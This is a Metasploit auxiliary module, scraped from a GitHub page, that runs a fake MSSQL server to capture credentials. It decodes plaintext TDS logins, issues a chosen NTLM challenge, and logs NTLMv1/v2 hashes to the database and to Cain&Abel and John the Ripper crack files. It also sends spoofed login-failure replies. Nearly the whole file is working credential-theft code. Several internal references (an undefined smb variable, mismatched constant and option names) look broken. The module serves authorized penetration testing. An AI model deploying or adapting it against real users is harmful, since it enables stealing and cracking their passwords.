-
Notifications
You must be signed in to change notification settings - Fork 14.1k
/
Copy pathmssql.rb
576 lines (508 loc) · 18.9 KB
/
mssql.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_UTILS = Rex::Proto::NTLM::Utils
MESSAGE = Rex::Proto::NTLM::Message
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
class Constants
TDS_MSG_RESPONSE = 0x04
TDS_MSG_LOGIN = 0x10
TDS_MSG_SSPI = 0x11
TDS_MSG_PRELOGIN = 0x12
TDS_TOKEN_ERROR = 0xAA
TDS_TOKEN_AUTH = 0xED
end
def initialize
super(
'Name' => 'Authentication Capture: MSSQL',
'Description' => %q{
This module provides a fake MSSQL service that
is designed to capture authentication credentials. The modules
supports both the weak encoded database logins as well as Windows
logins (NTLM).
},
'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
'License' => MSF_LICENSE,
'Actions' => [[ 'Capture', 'Description' => 'Run MSSQL capture server' ]],
'PassiveActions' => [ 'Capture' ],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1433 ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
])
register_advanced_options(
[
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentication", false ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
])
end
def setup
super
@state = {}
end
def run
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
@domain_name = datastore['DOMAIN_NAME']
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
else
print_error("CHALLENGE syntax must match 1122334455667788")
return
end
# those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
@previous_lm_hash="none"
@previous_ntlm_hash="none"
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}
end
# decodes a mssql password
def mssql_tds_decrypt(pass)
Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack("C*"))
end
# doesn't do any real parsing, slices of the data
def mssql_parse_prelogin(data, info)
status = data.slice!(0,1).unpack('C')[0]
len = data.slice!(0,2).unpack('n')[0]
# just slice away the rest of the packet
data.slice!(0, len - 4)
return []
end
# parses a login packet sent to the server
def mssql_parse_login(data, info)
status = data.slice!(0,1).unpack('C')[0]
len = data.slice!(0,2).unpack('n')[0]
if len > data.length + 4
info[:errors] << "Login packet to short"
return
end
# slice of:
# * channel, packetno, window
# * login header
# * client name length & offset
login_hdr = data.slice!(0,4 + 36 + 4)
username_offset = data.slice!(0,2).unpack('v')[0]
username_length = data.slice!(0,2).unpack('v')[0]
pw_offset = data.slice!(0,2).unpack('v')[0]
pw_length = data.slice!(0,2).unpack('v')[0]
appname_offset = data.slice!(0,2).unpack('v')[0]
appname_length = data.slice!(0,2).unpack('v')[0]
srvname_offset = data.slice!(0,2).unpack('v')[0]
srvname_length = data.slice!(0,2).unpack('v')[0]
if username_offset > 0 and pw_offset > 0
offset = username_offset - 56
info[:user] = Rex::Text::to_ascii(data[offset..(offset + username_length * 2)])
offset = pw_offset - 56
if pw_length == 0
info[:pass] = "<empty>"
else
info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack("A*")[0])
end
offset = srvname_offset - 56
info[:srvname] = Rex::Text::to_ascii(data[offset..(offset + srvname_length * 2)])
else
info[:isntlm?]= true
end
# slice of remaining packet
data.slice!(0, data.length)
info
end
# copied and slightly modified from http_ntlm html_get_hash
def mssql_get_hash(arg = {})
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
domain = arg[:domain]
user = arg[:user]
host = arg[:host]
ip = arg[:ip]
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
return
end
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [nt_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_hash].pack("H*")[0,8],
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
return
end
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
# Display messages
domain = Rex::Text::to_ascii(domain)
user = Rex::Text::to_ascii(user)
capturedtime = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1
capturelogmessage =
"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when NTLM_CONST::NTLM_V2_RESPONSE
smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV2
capturelogmessage =
"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1
capturelogmessage =
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
else # should not happen
return
end
print_status(capturelogmessage)
# DB reporting
# Rem : one report it as a smb_challenge on port 445 has breaking those hashes
# will be mainly use for psexec / smb related exploit
jtr_hash = case smb_db_type_hash
when Metasploit::Framework::Hashes::JTR_NTLMV2
user + "::" + domain + ":" + datastore['CHALLENGE'].to_s + ":" + nt_hash + ":" + nt_cli_challenge.to_s
when Metasploit::Framework::Hashes::JTR_NTLMV1
user + "::" + domain + ":" + lm_cli_challenge.to_s + ":" + lm_hash + ":" + datastore['CHALLENGE']
end
report_cred(
ip: ip,
port: 445,
user: user,
sname: 'smb_client',
password: jtr_hash,
proof: "DOMAIN=#{domain}",
type: :nonreplayable_hash,
jtr_format: smb_db_type_hash
)
#if(datastore['LOGFILE'])
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
#end
if(datastore['CAINPWFILE'] and user)
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
user,
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
if(datastore['JOHNPWFILE'] and user)
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48,
@challenge.unpack("H*")[0]
].join(":").gsub(/\n/, "\\n")
)
fd.close
when NTLM_CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 32,
lm_cli_challenge ? lm_cli_challenge : "0" * 16
].join(":").gsub(/\n/, "\\n")
)
fd.close
#ntlmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
nt_hash ? nt_hash : "0" * 32,
nt_cli_challenge ? nt_cli_challenge : "0" * 160
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
end
end
def mssql_parse_ntlmsspi(data, info)
start = data.index('NTLMSSP')
if start
data.slice!(0,start)
else
print_error("Failed to find NTLMSSP authentication blob")
return
end
ntlm_message = NTLM_MESSAGE::parse(data)
case ntlm_message
when NTLM_MESSAGE::Type3
lm_len = ntlm_message.lm_response.length # Always 24
nt_len = ntlm_message.ntlm_response.length
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
}
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
# if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
}
elsif nt_len == 0
print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
return
else
print_status("Unknown hash type from #{smb[:name]}, ignoring ...")
return
end
arg[:user] = ntlm_message.user
arg[:domain] = ntlm_message.domain
arg[:ip] = info[:ip]
arg[:host] = info[:ip]
begin
mssql_get_hash(arg)
rescue ::Exception => e
print_error("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
end
else
info[:errors] << "Unsupported NTLM authentication message type"
end
# slice of remainder
data.slice!(0,data.length)
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty? or ( info[:errors] and not info[:errors].empty? )
token = data.slice!(0,1).unpack('C')[0]
case token
when Constants::TDS_MSG_LOGIN
mssql_parse_login(data, info)
info[:type] = Constants::TDS_MSG_LOGIN
when Constants::TDS_MSG_PRELOGIN
mssql_parse_prelogin(data, info)
info[:type] = Constants::TDS_MSG_PRELOGIN
when Constants::TDS_MSG_SSPI
mssql_parse_ntlmsspi(data, info)
info[:type] = Constants::TDS_MSG_SSPI
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
# Sends an error message to the MSSQL client
def mssql_send_error(c, msg)
data = [
Constants::TDS_MSG_RESPONSE,
1, # status
0x0020 + msg.length * 2,
0x0037, # channel: 55
0x01, # packet no: 1
0x00, # window: 0
Constants::TDS_TOKEN_ERROR,
0x000C + msg.length * 2,
18456, # SQL Error number
1, # state: 1
14, # severity: 14
msg.length, # error msg length
0,
Rex::Text::to_unicode(msg),
0, # server name length
0, # process name length
0, # line number
"fd0200000000000000"
].pack("CCnnCCCvVCCCCA*CCnH*")
c.put data
end
def mssql_send_ntlm_challenge(c, info)
win_domain = Rex::Text.to_unicode(@domain_name.upcase)
win_name = Rex::Text.to_unicode(@domain_name.upcase)
dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
dns_name = Rex::Text.to_unicode(@domain_name.downcase)
if @s_ntlm_esn
sb_flag = 0xe28a8215 # ntlm2
else
sb_flag = 0xe2828215 #no ntlm2
end
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
data = [
Constants::TDS_MSG_RESPONSE,
1, # status
11 + securityblob.length, # length
0x0000, # channel
0x01, # packetno
0x00, # window
Constants::TDS_TOKEN_AUTH, # token: authentication
securityblob.length, # length
securityblob
].pack("CCnnCCCvA*")
c.put data
end
def mssql_send_prelogin_response(c, info)
data = [
Constants::TDS_MSG_RESPONSE,
1, # status
0x002b, # length
"0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000"
].pack("CCnH*")
c.put data
end
def on_client_data(c)
info = {:errors => [], :ip => @state[c][:ip]}
data = c.get_once
return if not data
info = mssql_parse_reply(data, info)
if(info[:errors] and not info[:errors].empty?)
print_error("#{info[:errors]}")
c.close
return
end
# no errors, and the packet was a prelogin
# if we just close the connection here, it seems that the client:
# SQL Server Management Studio 2008R2, falls back to the weaker encoded
# password authentication.
case info[:type]
when Constants::TDS_MSG_PRELOGIN
mssql_send_prelogin_response(c, info)
when Constants::TDS_MSG_SSPI
mssql_send_error(c, "Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.")
when Constants::TDS_MSG_LOGIN
if info[:isntlm?] == true
mssql_send_ntlm_challenge(c, info)
elsif info[:user] and info[:pass]
report_cred(
ip: @state[c][:ip],
sname: 'mssql_client',
user: info[:user],
password: info[:pass],
type: :password
)
print_status("MSSQL LOGIN #{@state[c][:name]} #{info[:user]} / #{info[:pass]}")
mssql_send_error(c, "Login failed for user '#{info[:user]}'.")
c.close
end
end
end
def on_client_close(c)
@state.delete(c)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port] || datastore['SRVPORT'],
service_name: opts[:sname],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: opts[:type],
jtr_format: opts[:jtr_format]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
end